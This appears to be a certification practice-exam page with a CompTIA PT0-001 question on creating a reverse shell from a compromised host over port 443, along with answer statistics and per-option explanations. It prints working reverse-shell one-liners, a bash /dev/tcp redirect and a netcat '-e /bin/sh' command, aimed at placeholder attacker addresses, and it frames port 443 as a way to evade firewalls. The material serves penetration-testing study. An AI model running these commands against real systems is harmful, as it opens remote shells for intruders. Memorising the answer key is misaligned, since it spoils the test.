nerdexam
CompTIA

PT0-001 · Question #37

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker…

The correct answer is D. bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1. The bash built-in /dev/tcp pseudo-device allows creating a reverse TCP shell without external tools, making it reliable and ideal for exfiltrating a shell over port 443 which is commonly permitted outbound.

Post-exploitation and lateral movement

Question

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

Options

  • Aperl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
  • Bssh superadmin@<DESTINATIONIP> -p 443
  • Cnc -e /bin/sh <SOURCEIP> 443
  • Dbash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

How the community answered

(34 responses)
  • A
    3% (1)
  • B
    9% (3)
  • C
    6% (2)
  • D
    82% (28)

Why each option

The bash built-in /dev/tcp pseudo-device allows creating a reverse TCP shell without external tools, making it reliable and ideal for exfiltrating a shell over port 443 which is commonly permitted outbound.

Aperl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;

The Perl snippet is syntactically malformed with unclosed strings and missing semicolons, so it would fail to parse and execute, and it references SOURCEIP rather than the attacker's destination address.

Bssh superadmin@<DESTINATIONIP> -p 443

SSH establishes a forward outbound connection requiring valid credentials on the destination and creates an authenticated login session, not a reverse shell tunneled from the victim back to the attacker.

Cnc -e /bin/sh <SOURCEIP> 443

Netcat's -e flag is compiled out of many modern Linux distributions for security reasons, making this method unreliable across varied targets compared to the universally available bash built-in.

Dbash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1Correct

The command bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1 uses bash's built-in /dev/tcp mechanism to open an outbound TCP connection to the attacker's machine on port 443, then redirects the interactive shell's stdin, stdout, and stderr through that connection. This approach requires no additional installed binaries beyond bash itself, and leverages port 443 which is almost universally allowed outbound through corporate firewalls, making detection and blocking difficult.

Concept tested: Bash reverse shell using built-in /dev/tcp redirection

Source: https://www.gnu.org/software/bash/manual/bash.html#Redirections

Topics

#reverse shell#bash TCP redirect#port 443#firewall evasion

Community Discussion

No community discussion yet for this question.

Full PT0-001 Practice